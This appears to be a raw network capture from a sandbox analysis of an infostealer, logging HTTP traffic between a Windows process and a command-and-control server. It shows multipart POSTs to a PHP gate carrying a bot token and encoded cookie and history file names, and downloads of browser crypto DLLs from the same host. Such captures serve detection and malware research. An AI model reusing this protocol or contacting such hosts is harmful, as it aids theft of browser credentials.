Oct 30, 2024 02:27:07.181054115 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 30, 2024 02:27:07.181078911 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49760	185.215.113.206	80	2536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 02:27:25.637487888 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGCFBAEGDHJKEBGCBA Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 02:27:25.637500048 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 Data Ascii: ------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 30, 2024 02:27:27.059696913 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 02:27:27.165361881 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFB Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 02:27:27.165386915 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 Data Ascii: ------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Oct 30, 2024 02:27:27.952295065 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 02:27:27.966490984 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="file"------AAKEGDAKEHJDHIDHJJDA--
Oct 30, 2024 02:27:28.749823093 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 02:27:29.089262962 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="file"------DGCAAAFCBFBAKFHJDBKJ--
Oct 30, 2024 02:27:29.872653961 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 02:27:30.084712029 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 02:27:30.370419979 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 30, 2024 02:27:30.370450020 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 30, 2024 02:27:30.370460033 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 30, 2024 02:27:30.370477915 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 30, 2024 02:27:30.370491028 CET	424	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 30, 2024 02:27:30.370533943 CET	1236	IN	Data Raw: 83 c4 0c 8b 45 d8 85 c0 74 0a 53 50 e8 5c 00 08 00 83 c4 08 8b 4d f0 31 e9 e8 9a fe 07 00 89 f8 83 c4 24 5e 5f 5b 5d c3 55 89 e5 53 57 56 8b 75 08 85 f6 74 3a 8b 7d 0c 8b 1e 85 db 74 24 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 Data Ascii: EtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGHtIUuu@t0t,GHjShv1
Oct 30, 2024 02:27:30.370544910 CET	1236	IN	Data Raw: ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 89 08 31 db 89 d8 83 c4 08 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 8b 75 08 8b 3e 8b 46 04 Data Ascii: t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vhuHuVu
Oct 30, 2024 02:27:30.370554924 CET	24	IN	Data Raw: 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 Data Ascii: >
Oct 30, 2024 02:27:30.370903969 CET	1236	IN	Data Raw: 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 6f f6 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 Data Ascii: >fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}
Oct 30, 2024 02:27:32.851063967 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 02:27:33.136468887 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 30, 2024 02:27:34.589987040 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 02:27:34.875690937 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 30, 2024 02:27:35.739207029 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 02:27:36.024856091 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 30, 2024 02:27:38.140603065 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 02:27:38.426352978 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 30, 2024 02:27:38.690264940 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 02:27:38.976268053 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 30, 2024 02:27:39.162344933 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJKJKKKJJJKJKFHJJJJ Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 02:27:39.949948072 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 02:27:39.996192932 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 